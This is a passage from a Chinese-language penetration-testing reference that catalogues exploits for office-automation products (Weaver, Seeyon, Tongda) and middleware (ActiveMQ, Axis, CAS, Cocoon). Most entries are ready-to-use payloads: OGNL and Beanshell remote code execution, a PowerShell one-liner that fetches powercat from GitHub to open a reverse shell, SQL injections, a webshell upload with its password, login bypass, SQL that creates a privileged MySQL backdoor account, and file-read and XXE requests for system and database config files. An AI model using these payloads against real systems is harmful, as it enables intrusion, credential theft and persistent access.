data：loginid=CasterJs&password=CasterJs&clienttype=Webclient&clientver=4.5&language=&country=&verify=${@**.**.**.**.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream())}

http://**.**.**.**/verifyLogin.do
data:  loginid=CasterJs&password=CasterJs&clienttype=Webclient&clientver=4.5&language=&country=&verify=${6666-2333}
http://**.**.**.**:89/verifyLogin.do
data:  loginid=CasterJs&password=CasterJs&clienttype=Webclient&clientver=4.5&language=&country=&verify=${6666-2333}
**.**.**.**/verifyLogin.do
data:  loginid=CasterJs&password=CasterJs&clienttype=Webclient&clientver=4.5&language=&country=&verify=${6666-2333}
http://**.**.**.**/verifyLogin.do
data:  loginid=CasterJs&password=CasterJs&clienttype=Webclient&clientver=4.5&language=&country=&verify=${6666-2333}
http://**.**.**.**/verifyLogin.do
data:  loginid=CasterJs&password=CasterJs&clienttype=Webclient&clientver=4.5&language=&country=&verify=${6666-2333}
```

**e-mobile < 6.5 Ognl 表达式注入**
- 文章
    - [关于表达式注入的小记录](https://zhuanlan.zhihu.com/p/26052235)
    - [泛微 E-Mobile Ognl 表达式注入](https://blog.csdn.net/qq_27446553/article/details/68203308)
    - [泛微 E-Mobile Ognl 表达式注入](https://docs.ioin.in/writeup/www.sh0w.top/_index_php_archives_14_/index.html)

- POC | Payload | exp
    ```
    message=(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()))).(#w.close())&cmd=whoami
    ```

**e-cology OA Beanshell 组件远程代码执行**
- 文章
    - [[漏洞预警]泛微e-cology OA Beanshell组件远程代码执行分析](https://mp.weixin.qq.com/s/Hr6fSOaPcTp2YaD-fPMxyg)
    - [泛微e-cology OA Beanshell组件远程代码执行漏洞复现](https://mp.weixin.qq.com/s/LpXiLukOKMfMSa8gUYBqNA)

- POC | Payload | exp
    - [jas502n/e-cology](https://github.com/jas502n/e-cology)
    ```
    /weaver/bsh.servlet.BshServlet
    ```
    ```
    eval%00("ex"%2b"ec(\"whoami\")"); 也可以换成 ex\u0065c("cmd /c dir");
    ```
    泛微多数都是 windows 环境, 反弹 shell 可以使用 pcat
    ```
    powershell IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ip -p 6666 -e cmd
    ```

**ecology8_mobile_sql_inject**
- POC | Payload | exp
    - [ecology8_mobile_sql_inject](https://github.com/orleven/Tentacle/blob/6e1cecd52b10526c4851a26249339367101b3ca2/script/ecology/ecology8_mobile_sql_inject.py)

**SSV-98083 | 泛微 e-cology OA 前台SQL注入**
- POC | Payload | exp
    - [AdministratorGithub/e-cology-OA-SQL](https://github.com/AdministratorGithub/e-cology-OA-SQL)

**泛微 OA WorkflowCenterTreeData 接口注入漏洞(限 oracle 数据库)**
- POC | Payload | exp
    ```
    POST /mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&scope=2333 HTTP/1.1
    Host: ip:port
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 2236
    Connection: close
    Upgrade-Insecure-Requests: 1

    formids=11111111111)))%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion select NULL,value from v$parameter order by (((1
    ```

**泛微 ecology OA 系统接口存在数据库配置信息泄露漏洞**
- 文章
    - [泛微ecology OA数据库配置信息泄露漏洞复现](https://mp.weixin.qq.com/s/u8GIfMBRZFAN3HANSSSgQA)

- POC | Payload | exp
    - [jas502n/DBconfigReader](https://github.com/jas502n/DBconfigReader)
    - [NS-Sp4ce/Weaver-OA-E-cology-Database-Leak](https://github.com/NS-Sp4ce/Weaver-OA-E-cology-Database-Leak)

**泛微 OA 云桥任意文件读取**
- 简介

    未授权任意文件读取,/wxjsapi/saveYZJFile 接口获取 filepath,返回数据包内出现了程序的绝对路径,攻击者可以通过返回内容识别程序运行路径从而下载数据库配置文件危害可见。

- POC | Payload | exp
    ```
    downloadUrl 参数修改成需要获取文件的绝对路径,记录返回包中的 id 值
    /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c:windows/win.ini&fileExt=txt
    ```

    通过查看文件接口访问 /file/fileNoLogin/id
    ```
    /file/fileNoLogin/xxxxxxxxxxxxxxxxx
    ```

    参考安识科技 A-Team 利用方法,https://mp.weixin.qq.com/s/Y_2_e7HIWH3z5jhMsK7pZA
    ```
    参数不填写绝对路径写进文本内容就是当前的目录,产生了一个新的漏洞 “目录遍历”
    /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///D:/&fileExt=txt

    常见路径
    d://ebridge//tomcat//webapps//ROOT//WEB-INF//classes//init.properties
    d:/OA/tomcat8/webapps/OAMS/WEB-INF/classes/dbconfig.properties 泛微OA数据库
    ```

---

## 致远

> 官网 : http://www.seeyon.com/

**指纹**
- `/seeyon/htmlofficeservlet`
- `/seeyon/index.jsp`
- `seeyon`

**致远 OA A6 test.jsp sql 注入漏洞**
- 文章
    - [用友致远A6 OA存在sql注入并拿shell](https://www.pa55w0rd.online/yyoa/)

- POC | Payload | exp
    ```
    www.test.com/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20database())
    www.test.com/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20@@basedir)
    ```

**致远 OA 帆软报表组件前台 XXE 漏洞**
- 文章
    - [致远OA帆软报表组件前台XXE漏洞(0day)挖掘过程](https://landgrey.me/blog/8/)

**帆软报表 v8.0 Getshell 漏洞**
- 文章
    - [帆软报表v8.0 Getshell漏洞分析](http://foreversong.cn/archives/1378)

**A8-OA-seeyon-RCE**
- 文章
    - [致远A8协同办公系统poc/seeyon 0day](https://www.jianshu.com/p/562f45edde2d)
    - [致远 OA A8 htmlofficeservlet getshell (POC&EXP)](http://wyb0.com/posts/2019/seeyon-htmlofficeservlet-getshell/)

- POC | Payload | exp
    - [RayScri/A8-OA-seeyon-RCE](https://github.com/RayScri/A8-OA-seeyon-RCE)

**致远 OA ajax.do 登录绕过任意文件上传**
- 文章
    - [致远OA ajax.do登录绕过任意文件上传](https://mp.weixin.qq.com/s/dk6aZY2fuJ_08tSOOh1Vzw)
    - [致远OA ajaxAction formulaManager 文件上传漏洞](https://mp.weixin.qq.com/s/ZyPwCytO7NLUuo9rfKtgyQ)

- POC | Payload | exp
    ```
    POST /seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip HTTP/1.1
    Host: 127.0.0.1
    Connection: close
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: JSESSIONID=7B6D8C106BD599DB0EF2F2E3B794A4FA; loginPageURL=; login_locale=zh_CN;
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 8819

    managerMethod=validate&arguments=%1F%C2%8B%08%00%00%00%00%00%00%00uTK%C2%93%C2%A2H%10%3E%C3%AF%C3%BE%0A%C3%82%C2%8Bv%C3%B4%C2%8C%C2%8D+c%C2%BB%13%7Bh_%C2%88%28*%28%C2%AF%C2%8D%3D%40%15Ba%15%C2%B0%C3%B2%10%C3%AC%C2%98%C3%BF%C2%BE%05%C3%98%C3%93%3D%C2%B1%C2%BDu%C2%A9%C3%8C%C2%AC%C3%8C%C2%AF%C3%B2%C3%BD%C3%97k%C3%B7%14_H%C2%8E%C2%9DC%C2%95x%C3%9D%3F%C2%98%C3%81%17%C3%A6M%C2%A28%C2%A4%C2%96t3%2F%C3%8D%C2%BA%C3%AF%C3%A2y%C2%99%5C%C2%BC4EqT%3Fj%C3%99%05E%3E%C2%938Y%C3%80%C3%BC%C3%89t%C3%BA%C3%BD%C2%A7%C2%AB%C3%A7%3AI%C2%92%3E%C2%A5%C2%9EW%C3%85%C3%91S%C3%A7%C3%BB%C3%AFL%7B%7E%0B%C2%9D%C3%82%C3%A9%C2%A3%C2%B8%C2%BF%C2%A3%26%C2%99qA%C2%99wa%C2%92w%C2%9A%C2%A3%00%C2%91we%3EQ%C3%AB%C3%95%C3%B8%C2%8F%1D%C2%AD%C2%81%3C%26%C3%90%C3%89%C2%BCA%3FL%C2%93%C2%B2%C3%B3%C3%B0%13%C2%9E%C2%B9%C2%BB%C2%92%06%1E%C3%86%C2%B5%2F%3B1%C2%B9%C2%81YR%C2%B9%C3%9C%C2%98%C2%95%C2%96A%C3%A6%C2%8A%C3%82mKj%19%C2%8B%C2%9C%C2%A5%C3%8A%C2%82Y%5C%C2%AC%C2%B9%24%C2%80d%C2%9E%03%5E%C3%8F%C3%97D%29%5Cm%2C%1F%07%2F%C3%85Q%5CD%C2%B6%26%C3%B9%C2%90%C3%A8%15%C3%A0p%C3%A1%C2%86%2C%C3%9Ah%C3%83J%0A%C2%87%C3%8FN%C2%A4%5C%C2%B7DM%00%C3%91C%28b%C3%8E%C3%96%C2%84%C2%ABe%40%2C%C2%898%03%C3%A2%C2%B8%C2%825%3EYp%C2%96%26%0C%C3%A8%7B%C2%BAFq%C3%9A%C3%B0%C2%A6%C2%9F%5B%C3%BCJ%00K%C2%B5%C3%B8TFqmc%C2%93%C3%8BH*va%C3%B9%0F%C3%A0_%C2%BE%C3%99%C2%A2%1E%C2%BA%C3%A2%C2%A2%C2%B2L5q%C2%B9%C3%A1%C2%A3%24*%C2%A9e*7iq%C3%B4m3%60mC8%C2%83j2%C2%A3%3A7%C3%80%C2%96%C2%85e%C2%A8%18D%C2%99.%C3%8F%5B%C2%BD%C2%838%0E%28F%25%C2%89%C2%9B%C3%84%C3%A3%C2%95%01%C2%A0%C2%B4L%C3%A9-%3F%C2%B8Bc%C2%95%3A%C3%86%C3%86%C3%9Fse%00%C3%B8%C2%8DoW%01%C3%B2L%15K%C2%8B%0CZ%08%C2%8Fh%7C%2C4W%C2%B9%C2%B4l%C3%AD%C3%96D%C3%856%C3%81%C2%B9%7Dl%C2%B1eQJ7%C3%93%12%C2%ADI%C2%89%5D%02Ygz%1E%C2%9DL%C3%B6%C2%99%C3%A6%C2%B4%C3%8E%C3%BB%C3%996j%C2%BDU%40s%40%C3%B3w%C3%8F%5B%C2%A4%C2%84%C2%80%C3%A0%2B%14K%0Cg%C3%82%01.W%C2%89K%C2%80%C3%AF%C3%9CXd%1F%C3%B6%03%C3%BB%C2%B0%C2%A9%C2%B6%C2%86%C2%8D%C2%ADP%3Fo%0F%C3%92%C3%80B%C3%92%08p%C3%BA%C2%AD%C2%A9%01%12%C2%AE%C3%90T%0D%C3%8B%28%07%C2%B6%C3%A6%23%C2%A8I%C2%A9S%C2%9DG%7B%0E_%C2%9D6%C3%86%C3%B1%1B%C2%BD%26%10%C3%839%C2%A6uU%03%C2%97%28X%C2%9E%C2%AE%26%C2%AA%C2%BEA%C3%B2%21%0B%C3%974%06%C3%87%C3%9C%C3%87%1BT%C3%A6%C2%B6%09%C3%BC%23%C2%A7%C2%87u%C2%AC%1A%C2%A7%0BG%7E%C2%82%C2%AD%C3%8A%C2%8F%3F%C3%BC%19%C3%99%C2%BF%C3%BE%C2%99%C3%88%C2%95%C2%84d%C2%AD%C2%91O%C3%AB%7C%C2%81%C3%8AO%C3%96o%C3%B8%C3%9Ay%C3%A4%12%C2%9D%C2%A7%C3%B5%C2%89%C2%A1%18%24%C2%A0j%C3%B4%C3%9A%C3%BA%C3%94z%C2%8D_%C2%BF%C3%96F%C2%9E%C2%9E%C2%A9%1C%C3%84V%25%C2%9C%5D%C3%96%C2%A6%C3%B9X%C2%A4%C2%B2%28%60XMn%C3%90%18%C3%A6%C2%AE%C2%81o%C3%B4m%C2%BA%C3%97%C2%95%C2%85%12%C2%AAs%C2%9A%C3%97%C3%A2n%C2%977%C3%BD%C3%81%C2%A9x%1F%C3%A9%C3%84%C2%A6%C2%BD*%2FW%18%C2%98%3A%06%C3%BC%3E%C2%B79%C2%9D%3D%12%C3%BD%C3%AD%C2%8F%1C%C3%944%C2%9D%5E%C2%97%1Cc%C3%AAgBc%C2%A0%C3%B1%C3%83%C2%95%1B%29%C2%ACe%08%21%C2%8D%C2%8F%C3%BA%C2%A1%C2%97%C3%90X%C2%A4%C2%A0%0A%C2%9A%C2%9E%C3%9Es%C3%A3%1C%C2%8A%C3%BA%10%C3%92%C3%9A%C3%AE%C2%A6%C3%A3%C2%A6%27%01%C2%A7T%C2%8E9a%5DQgw%C3%A1%C2%B5h%C3%AB%C2%BA*%5C%7E%C3%BF%C3%B8%3E%C3%ADL%C2%9AG%7D%C2%82R%C3%90%C2%9F%C2%BCh%C3%B3o%C3%83%C2%99%07bH%07%1E%C3%9E%C3%AFv%C3%96%3FW%C3%AA%C3%BDw%C2%AA%5B%C2%B3%3B%C3%93%C3%9A%C2%B6L%C3%AF%0E%C3%98o%C3%AFI%7E%3AQ%C2%80f%09%3C%7C%C3%A9%1C%0F%C2%8B%C2%AF%C3%8F%1F%C2%97%C3%84%C3%87%7D%C3%93o%18%1C%C3%B5%3E%C2%82%C3%BF%C2%9F.%C3%80q%C3%AAQ%C3%87%7E%7C%C2%AF%C3%B7%21%25%C2%A0wb%C3%92%C3%8C%C3%89%10%60%C3%8A%C2%B2%C3%AC%3D%C2%BCv%7F%C3%90%25I%17%C3%A5k%7Dg%C2%97%C3%9C%C3%AB%C3%BE%C3%BD%2FheA%C3%A4_%05%00%00

    Webshell地址:https://xxxxx/seeyon/SeeyonUpdate1.jspx
    冰蝎3 默认马pass：rebeyond
    ```

---

## 通达

> 官网 : https://www.tongda2000.com/

**指纹**
- `tongda.ico`
- `Office Anywhere 20xx版 网络智能办公系统`
- `/ispirit/interface/gateway.php`
- `/mac/gateway.php`

**通达 OA 任意用户登录漏洞**
- 影响版本
    - 通达 OA 2017
    - 通达 OA V11.X--V11.5

- 文章
    - [通达OA < 11.5任意用户登录漏洞分析](https://mp.weixin.qq.com/s/yJuLhC1GxkMbGL0mRORIoA)
    - [通达OA 任意用户登录漏洞（匿名RCE）分析](https://www.zrools.org/2020/04/23/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-%E9%80%9A%E8%BE%BEOA-%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E%EF%BC%88%E5%8C%BF%E5%90%8DRCE%EF%BC%89%E5%88%86%E6%9E%90/)
    - [通达OA<11.5任意用户登陆另一处利用方法分析](https://mp.weixin.qq.com/s/I3dtd2ORNo_-vR9zWgnJjw)
    - [HW平安夜: 09/14 快乐源泉](https://mp.weixin.qq.com/s/nObHoQWes9f__NoBJaY0qQ)

- POC | Payload | exp
    - [NS-Sp4ce/TongDaOA-Fake-User](https://github.com/NS-Sp4ce/TongDaOA-Fake-User)
    ```
    1. 首先访问 /ispirit/login_code.php 获取 codeuid。
    2. 访问 /general/login_code_scan.php 提交 post 参数：
    uid=1&codeuid={9E908086-342B-2A87-B0E9-E573E226302A}
    3. 最后访问 /ispirit/login_code_check.php?codeuid=xxx
    这样 $_SESSION 里就有了登录的信息了。
    ```

**通达 OA 任意文件上传漏洞+本地文件包含漏洞**
- POC | Payload | exp
    - [jas502n/OA-tongda-RCE](https://github.com/jas502n/OA-tongda-RCE)
    ```
    POST /mac/gateway.php HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Go-http-client/1.1
    Connection: close
    Content-Length: 44
    Content-Type: application/x-www-form-urlencoded
    Accept-Encoding: gzip

    json={"url":"/general/../../mysql5/my.ini"}
    ```

**通达OA v11.6 preauth RCE**
- 文章
    - [通达OA11.6 preauth RCE 0day分析](https://drivertom.blogspot.com/2020/08/oa116-preauth-rce-0day.html)

- POC | Payload | exp
    - [poc_and_exp/rce.py](https://github.com/TomAPU/poc_and_exp/blob/master/rce.py)

**通达OA v11.7 后台SQL注入**
- 文章
    - [通达OA v11.7后台SQL注入到RCE[0day]](https://mp.weixin.qq.com/s/rtX9mJkPHd9njvM_PIrK_Q)

- POC | Payload | exp

    需要登录权限
    ```
    /general/hr/manage/query/delete_cascade.php?condition_cascade=select%20if((substr(user(),1,1)=%27r%27),1,power(9999,99))

    添加一个mysql用户
    grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION

    给创建的at666账户添加mysql权限
    UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('at666' AS Binary(5));

    刷新数据库登录到数据库
    /general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;

    通达OA配置mysql默认是不开启外网访问的所以需要修改mysql授权登录
    /general/hr/manage/query/delete_cascade.php?condition_cascade=grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION
    ```

**通达OA SQL注入**
- POC | Payload | exp
    ```
    POST /general/appbuilder/web/calendar/calendarlist/getcallist
    View=month&starttime=XX’ AND if((1>0),sleep(2)) and ‘1&endtime=XX&callback=undefined
    ```

    ```
    漏洞参数：SORT_ID，FILE_SORT
    POST /general/file_folder/swfupload_new.php HTTP/1.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
    Referer: http://192.168.202.1/
    Connection: close
    Host: 192.168.202.1
    Content-Length: 391
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US
    Content-Type: multipart/form-data; boundary=----------GFioQpMK0vv2

    ------------GFioQpMK0vv2
    Content-Disposition: form-data; name="ATTACHMENT_ID"

    1
    ------------GFioQpMK0vv2
    Content-Disposition: form-data; name="ATTACHMENT_NAME"

    1
    ------------GFioQpMK0vv2
    Content-Disposition: form-data; name="FILE_SORT"

    2
    ------------GFioQpMK0vv2
    Content-Disposition: form-data; name="SORT_ID"

    ------------GFioQpMK0vv2--
    ```

---

## 信呼

**信呼 OA 存储型 XSS**
- 影响版本
    - 信呼 v1.9.0~1.9.1

- 文章
    - [信呼OA存储型XSS 0day复现](https://xz.aliyun.com/t/7887)

---

# 框架引擎中间件

**文章**
- [中间件漏洞合集](https://mp.weixin.qq.com/s/yN8lxwL-49OKfVR86JF01g)
- [2020攻防演练弹药库-您有主机上线请注意](https://blog.riskivy.com/2020%e6%94%bb%e9%98%b2%e6%bc%94%e7%bb%83%e5%bc%b9%e8%8d%af%e5%ba%93-%e6%82%a8%e6%9c%89%e4%b8%bb%e6%9c%ba%e4%b8%8a%e7%ba%bf%e8%af%b7%e6%b3%a8%e6%84%8f/?from=timeline&isappinstalled=0)
- [企业常见服务漏洞检测&修复整理](https://paper.seebug.org/126/)

**工具包**
- [1120362990/vulnerability-list](https://github.com/1120362990/vulnerability-list) - 在渗透测试中快速检测常见中间件、组件的高危漏洞.
- [hatRiot/clusterd](https://github.com/hatRiot/clusterd) - application server attack toolkit
- [matthiaskaiser/jmet](https://github.com/matthiaskaiser/jmet) - Java Message Exploitation Tool

## ActiveMQ

> 官网 : https://activemq.apache.org/

Apache ActiveMQ 是美国阿帕奇 (Apache) 软件基金会所研发的一套开源的消息中间件,它支持 Java 消息服务、集群、Spring Framework 等.

**搭建教程**
- [ActiveMQ 搭建](../../../Integrated/Linux/Power-Linux.md#ActiveMQ)

**默认密码**
```
admin   admin
```

**CVE-2015-1830 Apache ActiveMQ 5.11.1 Directory Traversal / Shell Upload**
- MSF Module
    ```bash
    use exploit/windows/http/apache_activemq_traversal_upload
    ```

**CVE-2015-5254 ActiveMQ 反序列化漏洞**
- 简介

    Apache ActiveMQ 5.13.0 之前 5.x 版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类.远程攻击者可借助特制的序列化的 Java Message Service(JMS)ObjectMessage 对象利用该漏洞执行任意代码.

- 影响版本
    - Apache ActiveMQ 5.0.0 ~ 5.12.1

- 文章
    - [ActiveMQ 反序列化漏洞 (CVE-2015-5254) ](https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2015-5254/README.zh-cn.md)

**CVE-2016-3088 ActiveMQ 任意文件写入漏洞**
- 简介

    ActiveMQ 的 web 控制台分三个应用,admin、api 和 fileserver,其中 admin 是管理员页面,api 是接口,fileserver 是储存文件的接口;admin 和 api 都需要登录后才能使用,fileserver 无需登录.

    fileserver 是一个 RESTful API 接口,我们可以通过 GET、PUT、DELETE 等 HTTP 请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:
    - 其使用率并不高
    - 文件操作容易出现漏洞

    所以,ActiveMQ 在 5.12.x~5.13.x 版本中,已经默认关闭了 fileserver 这个应用 (你可以在 conf/jetty.xml 中开启之) ;在 5.14.0 版本以后,彻底删除了 fileserver 应用.

- 影响版本
    - Apache ActiveMQ < 5.12.x

- 文章
    - [ActiveMQ任意文件写入漏洞 (CVE-2016-3088) ](https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md)

**CVE-2017-15709**
- 简介

    Apache ActiveMQ 默认消息队列 61616 端口对外，61616 端口使用了 OpenWire 协议，这个端口会暴露服务器相关信息，这些相关信息实际上是 debug 信息。会返回应用名称，JVM，操作系统以及内核版本等信息。

- 影响版本
    - 5.14.0 < Apache ActiveMQ < 5.14.5
    - 5.15.0 < Apache ActiveMQ < 5.15.2

- POC | Payload | exp
    ```
    telnet ip 61616
    ```

---

## Axis

> 官网 : http://axis.apache.org/

Axis 是一个开源的基于 XML 的 Web 服务架构。它包含了 Java 和 C++ 语言实现的 SOAP 服务器，以及各种公用服务及 API 以生成和部署 Web 服务应用。

**Axis-1.4-RCE**
- POC | Payload | exp
    - [KibodWapon/Axis-1.4-RCE-Poc](https://github.com/KibodWapon/Axis-1.4-RCE-Poc)

**Axis2默认弱口令**
- 相关文章
    - [【漏洞复现】Axis2默认弱口令后台Getshell](https://mp.weixin.qq.com/s/Gp_FMM-n472wYTBA5lC3lw)

---

## CAS

> 项目地址 : https://github.com/apereo/cas

**Apereo CAS 4.X 反序列化漏洞**

- 相关文章
    - [Apereo CAS 4.X反序列化漏洞分析](https://www.anquanke.com/post/id/198842)
    - [Apereo_CAS_反序列化漏洞分析及利用](https://mp.weixin.qq.com/s/44eEiIQLfY9q-dKUH_GYhw)
    - [Apereo CAS 4.X反序列化漏洞分析及复现](https://www.freebuf.com/news/226149.html)
    - [Apereo CAS 4.X execution参数反序列化漏洞分析](https://xz.aliyun.com/t/7032)
    - [[漏洞复现] Apereo CAS 4.X 反序列化命令执行漏洞](https://www.seanzhang.cn/security/Web/fx_Apereo.html)

- 相关工具
    - [21superman/Cas_Exploit](https://github.com/21superman/Cas_Exploit) - CAS反序列化漏洞利用工具
    - [cL0und/cas4.x-execution-rce](https://github.com/cL0und/cas4.x-execution-rce) - exp for 4.1.x-4.1.6, 4.1.7-4.2.x, padding oracle attack
    - [langligelang/CAS_EXP](https://github.com/langligelang/CAS_EXP)

---

## Cocoon

> 官网 : https://cocoon.apache.org/

**CVE-2020-11991 XML 注入**

- 简介

    程序使用了 StreamGenerator 这个方法时,解析从外部请求的 xml 数据包未做相关的限制,恶意用户就可以构造任意的 xml 表达式,使服务器解析达到 XML 注入的安全问题。

- POC | Payload | exp
    ```xml
    POST /v2/api/product/manger/getInfo

    <!--?xml version="1.0" ?-->
    <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
    <userInfo>
    <firstName>John</firstName>
    <lastName>&ent;</lastName>
    </userInfo>
    ```

---

## Druid

### Apache_Druid

> 官网 : https://druid.apache.org/

